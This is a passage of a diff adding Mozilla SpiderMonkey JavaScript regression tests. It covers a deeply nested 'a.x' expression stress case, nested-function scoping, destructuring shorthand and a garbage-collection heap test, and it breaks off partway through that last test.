+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ }
+ return "Everything's fine."
+ // Comment out the switch statement and the bug disappears.
+ switch (a) {
+ case 1: ;
+ case 2: return;
+ }
+}
+
diff --git a/js/src/tests/non262/regress/regress-398609.js b/js/src/tests/non262/regress/regress-398609.js
new file mode 100644
index 0000000000..25a73b1e95
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-398609.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398609;
+var summary = 'Test regression from bug 398609';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(m) {
+ m = m || Math;
+ return x();
+
+ function x() {
+ return m.sin(0);
+ }
+ };
+
+ var r = f();
+ if (r !== Math.sin(0))
+ throw "Unexpected result";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-404734.js b/js/src/tests/non262/regress/regress-404734.js
new file mode 100644
index 0000000000..27ec9d5fc1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-404734.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404734;
+var summary = 'Object destructuring shorthand';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o = {p: 42, q: true};
+ var {p, q} = o;
+
+ expect = '42,true';
+ actual = p + ',' + q;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-404755.js b/js/src/tests/non262/regress/regress-404755.js
new file mode 100644
index 0000000000..464952ec4c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-404755.js
@@ -0,0 +1,47 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404755;
+var summary = 'Do not consume heap when deleting property';
+var actual = 'No leak';
+var expect = 'No leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var n = 1 << 22;
+ var o = {};
+ do {
+ o[0] = 0;
+ delete o[0];
+ } while (--n != 0);
+
+ gc();
+ var time = Date.now();
+ gc();
+ time = Date.now() - time;
+
+ o = {};
+ o[0] = 0;
+ delete o[0];
+ gc();
+ var time2 = Date.now();
+ gc();
